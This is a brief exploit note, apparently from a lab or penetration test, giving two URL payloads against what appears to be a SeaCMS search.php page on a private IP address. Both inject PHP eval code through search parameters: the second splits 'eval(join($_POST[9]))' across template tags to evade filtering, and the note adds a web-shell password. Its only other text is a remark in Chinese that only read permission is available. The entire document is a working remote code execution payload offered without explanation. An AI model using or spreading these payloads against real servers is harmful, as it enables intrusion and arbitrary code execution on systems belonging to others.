Payload1:
http://192.168.88.147/sea/upload/search.php?searchtype=5&tid=&area=eval($_POST[123])
Payload2:只有读取权没有写入权限
http://192.168.88.147/sea/upload/search.php?searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))
密码:9[]